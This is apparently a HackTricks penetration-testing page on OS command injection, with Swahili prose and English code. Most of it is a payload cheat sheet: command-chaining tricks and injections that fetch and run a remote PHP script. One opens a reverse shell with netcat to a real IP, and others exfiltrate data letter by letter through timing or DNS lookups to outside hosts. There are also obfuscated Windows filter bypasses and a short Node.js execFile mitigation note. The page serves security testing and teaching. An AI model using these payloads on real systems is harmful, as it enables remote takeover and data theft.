Command Injection

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Command Injection ni nini?

A command injection inaruhusu mshambulizi kutekeleza amri zozote za mfumo wa uendeshaji kwenye server inayohifadhi programu. Kwa hivyo, programu pamoja na data zake zote zinaweza kuathirika kabisa. Kutekelezwa kwa amri hizi kwa kawaida humruhusu mshambulizi kupata upatikanaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.

Muktadha

Kutegemea ambapo pembejeo yako inaingizwa, unaweza kuhitaji kumaliza muktadha ulioko ndani ya nukuu (kwa kutumia " au ') kabla ya kuingiza amri.

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Vikwazo Bypasses

Ikiwa unajaribu kutekeleza arbitrary commands inside a linux machine utavutiwa kusoma kuhusu haya Bypasses:

Bypass Linux Restrictions

Mifano

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Vigezo

Hapa ni vigezo 25 vya juu ambavyo vinaweza kuwa hatarini kwa code injection na udhaifu wa RCE zinazofanana (kutoka link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Kutoa data: herufi kwa herufi

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Inategemea zana kutoka https://github.com/HoLyVieR/dnsbin pia iliyohifadhiwa kwenye dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Zana mtandaoni za kuangalia DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Unapofanya ukaguzi wa back-ends za JavaScript/TypeScript, mara nyingi utakutana na Node.js child_process API.

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() inazindua shell (/bin/sh -c), kwa hivyo karakteri yoyote ambayo ina maana maalum kwa shell (back-ticks, ;, &&, |, $(), …) itasababisha command injection wakati ingizo la mtumiaji linapounganishwa kwenye string.

Kupunguza hatari: tumia execFile() (au spawn() bila chaguo la shell) na utoe kila argument kama kipengele tofauti cha array ili shell isihusishwe:

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Kesi halisi: Synology Photos ≤ 1.7.0-0794 ilikuwa na udhaifu kupitia tukio la WebSocket lisilothibitishwa ambalo liliweka data iliyodhibitiwa na mshambuliaji kwenye id_user, ambayo baadaye iliingizwa katika wito la exec(), ikifanikisha RCE (Pwn2Own Ireland 2024).

Orodha ya Ugunduzi ya Brute-Force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks